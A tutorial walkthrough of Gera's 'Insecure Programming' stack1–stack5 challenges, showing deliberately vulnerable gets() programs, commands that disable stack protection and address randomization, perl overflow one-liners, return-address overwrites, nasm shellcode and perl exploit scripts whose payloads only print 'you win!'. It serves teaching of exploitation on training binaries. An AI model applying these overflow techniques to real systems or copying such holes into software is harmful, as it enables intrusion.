# Gera's Insecure Programming

These challenges are crafted to show you how programs become insecure. The goal is to exploit each one and force it to print "you win!". Programs are split into different categories that typically get harder as you go (not always the case). You can find all of them here: http://community.corest.com/~gera/InsecureProgramming/.

## Warming Up on the Stack

These can all be compiled by gcc with the following options: `gcc stackx.c -o stackx -mpreferred-stack-boundary=2 -fno-stack-protector` (replace "x" with 1-5 where applicable). If you compile without the last flag, stack protection will be turned on by default and you'll have a hard time exploiting these since you'll kill the canary when overflowing. For stack5 (and stack4, if you want to do it the "better way"), you'll also need to pass the `-Wl,-z,execstack` flags so the stack is executable.

It will also help to have stack randomization turned off for this. You can do this for a single shell session by typing the command `setarch i386 -RL bash` (obviously, replace i386 with your architecture if not x86 and bash with your shell of choice), or permanently by typing the command `sysctl -w kernel.randomize_va_space=0`into your terminal of choice.
Lastly, if you'd like the compiler to use `push` instead of `mov esp` operations (which might make assembly easier to read for those new to it), you can pass the option`-mno-accumulate-outgoing-args` at compile-time and gcc will make the change.

### stack1

Let's first take a look at the source:

```
int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x41424344)
                printf("you win!\n");
}
```

As you can see, it defines an integer (named cookie) and a character array (buffer) of length 80. It then displays a message containing the addresses of both these variables and proceeds to get input from the user (which is stored in the buffer). If the cookie is equal to 41424344 in hex (that's what the 0x means), then it'll print "you win!".

Obviously, cookie *doesn't* equal 0x41424344, because we never set it to anything. So, how are we going to set cookie to that value? Obviously, since we have the source code, it'd be simply to just change `int cookie;` to `int cookie = 0x41424344;` and voila! But that's not the point of this exercise. We need to find a way to do it from the binary we've already compiled from this source code.

Let's take a moment and consider how memory is going to be allocated for this program.

As shown in the image on the right, our buffer (80 bytes) is right above the cookie (4 bytes/32 bits standard in x86). So, what's stopping us from putting, say, 84 bytes into our buffer? What would happen if we did?

As it turns out, gets() doesn't do any bounds-checking. That is, it never checks to see if we've put more than 80 bytes into our buffer or not. Also, what do we know about the hex values 41, 42, 43, and 44? If you look them up on an ASCII table, you'll find that they correspond to the letters A, B, C, and D. Brilliant!

So, back to our terminal, we should be able to get this program to print "you win!" if we overflow the buffer with the combination of ABCD. Let's try it by using perl to pipe input to our program: `perl -e 'print "ABCD"x21' | ./stack1` What did that give you? Nothing interesting, huh? Certainly not the "you win!" we expected.

Well, it turns out that x86 systems store things in memory using what's called "little-endian" order. Details aren't important for our discussion here - we just need to know that when things are stored in little-endian order, they're opposite the way we put them into our program. So, let's modify our perl string and see what happens: `perl -e 'print "DCBA"x21' | ./stack1`
Guess what? `you win!`

## stack2

Alright, let's take a look at the source again. Everything looks exactly the same, except for one line:

```
        if (cookie == 0x01020305)
```

No problem - we'll just go look up what 01, 02, 03, and 05 represent in ASCII and… Yeah, not gonna be that easy. Turns out those correspond to non-printable characters (SOH, STX, ETX, and ENQ, actually). Now what?

You could have done stack1 by simply typing DCBADCBADCBADCBADCBA… a bunch of times, so perl wasn't really necessary there. Here, however, perl is necessary. See, perl has the ability to print hex. You know what that means! Just don't forget to put things in little-endian order: `perl -e 'print "\x05\x03\x02\x01"x21' | ./stack2`
`you win!`

## stack3

Back to the source…and…really?

```
        if (cookie == 0x01020005)
```

Same damn thing. Sure, there's a null instead of ETX in there, but that's not a problem for this exercise since we're just overflowing gets(): `perl -e 'print "\x05\x00\x02\x01"x21' | ./stack3`
`you win!`

## stack4

Alright! Looking through the source again…

```
        if (cookie == 0x000a0d00)
```

…who do they think we are? We've got this: `perl -e 'print "\x00\x0d\x0a\x00"x21' | ./stack4` Hah! …wait. Why didn't we win? What gives?

Turns out, this is a bit more difficult. The problem here is the `0a` code we have to print. See, the way gets() works is that it terminates once we give it a newline character. Ever wondered how it knew you hit the Enter key? Guess what Enter does? It prints a newline character. This is represented not by showing you a character on your screen, but by moving your cursor to the next line.

So, what we've been doing all along is clearly not going to work for this. We need something else. Going back to the picture of our stack, we notice there are some other blocks below cookie. These are registers: special memory locations used by the processor for executing instructions given to it. The one we're most interested in as hackers is the Instruction Pointer/Return Address, or EIP. Control this, and you control the execution of the program. Period.

What do we want to execute? `printf("you win!");` How can we execute it? Well, since it's in the program, that means it has to be loaded into memory somewhere…we just have to figure out exactly where.

We can do this with a debugger. The best one to use for this is gdb. So, let's fire up gdb and let's figure out what that memory address is:

```
kashima@namazu:~/gera$  gdb stack4

Reading symbols from /home/kashima/gera/stack4...done.

(gdb) set disassembly-flavor intel

(gdb) disassemble main

Dump of assembler code for function main:

0x08048444 <main+0>:     push   ebp

0x08048445 <main+1>:     mov    ebp,esp

0x08048447 <main+3>:     sub    esp,0x60

0x0804844a <main+6>:     mov    eax,0x8048550

0x0804844f <main+11>:    lea    edx,[ebp-0x4]

0x08048452 <main+14>:    mov    DWORD PTR [esp+0x8],edx

0x08048456 <main+18>:    lea    edx,[ebp-0x54]

0x08048459 <main+21>:    mov    DWORD PTR [esp+0x4],edx

0x0804845d <main+25>:    mov    DWORD PTR [esp],eax

0x08048460 <main+28>:    call   0x8048370 <printf@plt>

0x08048465 <main+33>:    lea    eax,[ebp-0x54]
```

```
0x08048468 <main+36>:    mov    DWORD PTR [esp],eax

0x0804846b <main+39>:    call   0x8048350 <gets@plt>

0x08048470 <main+44>:    mov    eax,DWORD PTR [ebp-0x4]

0x08048473 <main+47>:    cmp    eax,0xd0a00

0x08048478 <main+52>:    jne    0x8048486 <main+66>

0x0804847a <main+54>:    mov    DWORD PTR [esp],0x8048568

0x08048481 <main+61>:    call   0x8048380 <puts@plt>

0x08048486 <main+66>:    leave

0x08048487 <main+67>:    ret

End of assembler dump.

(gdb) quit

kashima@namazu:~/gera$
```

You'll notice that I `set disassembly-flavor intel` before disassembling the main function. This is because gdb defaults to AT&T syntax rather than Intel syntax, which I like better (you'll see why in a second). I'll leave it up to you to figure out the differences between the two.

Taking a look through our disassembled code, you'll notice functions being called. First, there's printf (when the program displays the message to us). Then, there's gets (when we give the program input). But, farther down, you'll see a puts…and no second printf. What gives? Well, it turns out that gcc will optimize a printf statement with no format strings to a puts at compile-time, which explains the puts. More importantly, this is what we're looking for! The second printf (or, puts, in this case) is what prints `you win!`.
What we need is the memory address of the instruction before this call. We can see it off to the left: 0x0804847a. If we can get that memory address into EIP, then we win! The offset here is the buffer (80), plus the cookie (4), plus EBP (32 bits, so 4 bytes). That gives us 88 bytes, and then the next 32 bits are EIP. So, let's try it: `perl -e 'print "A"x88 . "\x7a\x84\x04\x08"' | ./stack4`

```
you win! Segmentation fault
```

*As an aside, if you didn't pass the -mpreferred-stack-boundary=2 option when you compiled, you'll likely only win by putting 96 As into the buffer. This is because gcc defaults to using a stack boundary of 4 (8 bytes), which can make overflow exploits harder to land right. That option switches gcc back to using the old setting (4 bytes), which removes any extra padding needed to keep the stack aligned properly and makes our overflow exploit behave as expected.*

## A Better Way

*Before you read further, make sure you compiled with stack execution as mentioned way back at the beginning. Otherwise, this won't work too well.*
You'll notice, though, that the program segfaults after we win. Why is that? Well, it turns out that we messed up some important registers that the program needed in order to exit

cleanly. In order to fix that, we'll have to set those registers back to the way they need to be. Unfortunately, that's impossible. Even if we figured out what EBP needed to be set to and included that in our overflow, there's actually a hidden null character at the end of our input. All strings are terminated by a null in memory so that programs know where to stop reading - otherwise, they'd just think a huge chunk of memory is a string and start outputting random garbage after it. This null character is being placed into the memory below EIP on the stack, and there's no stopping it.

There is still a way to get it to exit cleanly, though. This is important to know how to do if you need to exploit something and stay silent about it. However, we'll need to roll our ownshellcode for it - no mean feat. Lucky for you, I've done just that. You can assemble it yourself with the Netwide Assembler (nasm), which comes in most distro's repositories. The ultimate reason why I prefer Intel syntax is because nasm requires it (thus, I'm used to seeing it). Anyway, here it is, in all its glory:

```
kashima@namazu:~/gera$ cat stack4.asm
; note: lines beginning with semi-colons are comments
[bits 32]  ; if you don't have this, nasm will spew 0x66 codes that will break things
section .text  ; specify that you're in the code section (not data section)
global _start  ; specify the entry point for the code

_start:
; write(stdout,"you win!",8)
mov eax, 0x4
mov ebx, 0x1
mov ecx, 0x8048568  ; address from gdb pointing to "you win!" in program
mov edx, 8
int 0x80

; exit(0)
xor eax, eax
inc eax
xor ebx, ebx
int 0x80
```

When assembled, this will create shellcode that will utilize linux syscalls to do its bidding. There are tables of syscalls on the internet that more or less explain what they all are, so I'll skip to just explaining the two used above.

For the sys_write syscall, we need to move the value 4 into EAX. This tells the computer that we'd like to use sys_write. Then, we need to tell sys_write what we're writing to. Since we'd like to write to standard output (stdout), we'll need to move a 1 into EBX. Lucky for us, we've also got the address where `you win!` is located - you can find it up in the disassembled code before the call to puts (look for 0x8048568 up there). We can move that into ECX. Finally, we need to tell sys_write how many bytes it'll be writing. So, we move an 8 into EDX. After that, we call an interrupt, which tells the system that we'd like to do something. It looks at EAX, realizes that we want to sys_write something, grabs the necessary information from EBX, ECX, and EDX, and prints `you win!` just like we wanted. After that, we want it to exit cleanly. The best way to do this is to set EAX to 0 (by xoring it with itself) and then increment it. Once its value is 1, it'll indicate to the computer that we want to sys_exit. Since we don't want it to tell any possible calling programs that there was an error (we want it to exit with a status of 0), we set EBX to 0 and then call the interrupt again. And, voila! The program exits cleanly.

So, let's see this into action. First, we need to assemble our commands into shellcode:

```
kashima@namazu:~/gera$ nasm stack4.asm -o stack4.sc

kashima@namazu:~/gera$ hex stack4.sc

0x00000000: b8 04 00 00 00 bb 01 00 - 00 00 b9 68 85 04 08 ba .D@@@.A@@@.h.DH.

0x00000010: 08 00 00 00 cd 80 31 c0 - 40 31 db cd 80          H@@@..1.@1.
```

Looks like gibberish, huh? But, when you see it in the hex editor, you can kinda see why what we've been doing has worked all along. Ultimately, all we're doing when we're assembling/compiling code is just turning it into a bunch of hex (which, in turn, represents a ton of 0's and 1's). Everything's finally coming together!

We could do our usual with perl and copy that big long thing into a huge string of \x00 type stuff, but who needs that? There's a better way. We'll simply make a perl script that loads our shellcode, puts it into the buffer, and then overflows past that into EIP and sets EIP to the desired value. Here's how:

```
$n = "stack4.sc";  # set up filename
open(my $f,'<',$n);  # open file with shellcode for reading
binmode($f);  # set file to binary mode

$s = '';  # define string
$c = 0;  # define counter

while(!eof($f)) {
        $s .= getc($f);  # grab hex from file
        $c++;  # increment counter
}
close($f);  # close file

$b = 88;  # size of buffer plus cookie and ebp
$o = $b - $c;  # calculate how much more we need

$s .= "A"x$o . "\x44\xf4\xff\xbf";  # set up string

print $s;  # print string
```

And now to use our script!

```
kashima@namazu:~/gera$ perl stack4.pl | ./stack4

buf: bffff444 cookie: bffff494

you win!kashima@namazu:~/gera$
```

Not entirely perfect, since the `you win!` lacks a newline, but that's good enough. See if you can figure out how to get it to print the newline as well (hint: it's not as easy as you think).

## stack5

Wow, so the last one was pretty tough - especially after we fixed the registers after the exploit and got it to exit cleanly. This one can't be that much tougher then, right? Let's look at the source. Only one line is different from stack4:

```
                printf("you lose!\n");
```

…wat? Well, that sucks. Now we don't even have a `you win!` line to print. But, with some creative assembly writing and perl scripting, we can solve this one too.

The key difference here is that we can't use an address from the program. We have to supply `you win!` ourselves from the buffer. Problem is, we don't necessarily know the memory location of`you win!`. In this case we can find out fairly easily, but most of the time it's impossible when we're landing exploits like this. So, we need some creativity to solve this problem.

The answer lies in the way a call works. Remember that when a function, like puts() or gets() or printf(), is called, we're actually jumping to a completely new set of code. And yet, the program makes it back to where it was previously. How does it do that? Turns out, it does this by pushing the address of where it was onto the stack. We can abuse this functionality by creating a call right before the message we want to output. That way, we can pop the memory address it would return to and pass it to sys_write, thereby giving it the location of our message. Brilliant!

So, how do we set something like this up in assembly? Well, as usual, I won't leave it up to your imagination. Here's my nasm assembly for stack5:

```
kashima@namazu:~/gera$ cat stack5.asm
[bits 32]  ; prevent rogue 0x66 markers
section .text
global _start

_start:
jmp setup  ; jump to the setup label

code:
; write(stdout,"you win!",8)
mov eax, 0x4
mov ebx, 0x1
pop ecx  ; note the change from before: we have to pop since we can't mov
mov edx, 8
int 0x80
; exit(0);
xor eax, eax
inc eax
xor ebx, ebx
int 0x80

setup:
call code  ; call the code label
db 'you win!'  ; define the message in memory
```

Awesome! Now, we just need the script to put it into the program. We could use the same exact one from stack4, but I made some minor modifications to mine:

```
#!/usr/bin/perl

# the previous line allows us to execute this script as if it were a compiled program

open(my $f,'<',$ARGV[0]);  # open file specified by cmd line for reading
binmode($f);  # set file to binary mode
```

```
$s = '';  # define string
$c = 0;  # define counter

while(!eof($f)) {
        $s .= getc($f);  # grab hex from file
        $c++;  # increment counter
}
close($f);  # close file

$b = 88;  # size of buffer plus cookie and ebp
$o = $b - $c;  # calculate how much more we need

$s .= "\xA"x$o . "\x44\xf4\xff\xbf";  # set up string

print $s;  # print string
```

Now to see if it'll work...

```
kashima@namazu:~/gera$ nasm stack5.asm -o stack5.sc

kashima@namazu:~/gera$ hex stack5.sc

0x00000000: e9 19 00 00 00 b8 04 00 - 00 00 bb 01 00 00 00 59 .Y@@@.D@@@.A@@@Y

0x00000010: ba 08 00 00 00 cd 80 31 - c0 40 31 db cd 80 e8 e2 .H@@@..1.@1.

0x00000020: ff ff ff 79 6f 75 20 77 - 69 6e 21                ...you win!

kashima@namazu:~/gera$ ./stack5.pl stack5.sc | ./stack5

buf: bffff444 cookie: bffff494

you win!kashima@namazu:~/gera$
```

Success! Again, we don't have a newline after `you win!`, but whatever. It still works.
Now, want to see a bonus feature? You can actually make your shellcode an executable that prints `you win!` on its own. Ready?

```
kashima@namazu:~/gera$ nasm stack5.asm -f elf

kashima@namazu:~/gera$ ld -s stack5.o -o stack5sc

kashima@namazu:~/gera$ ./stack5sc

you win!kashima@namazu:~/gera$
```

Yeah, we're cool now.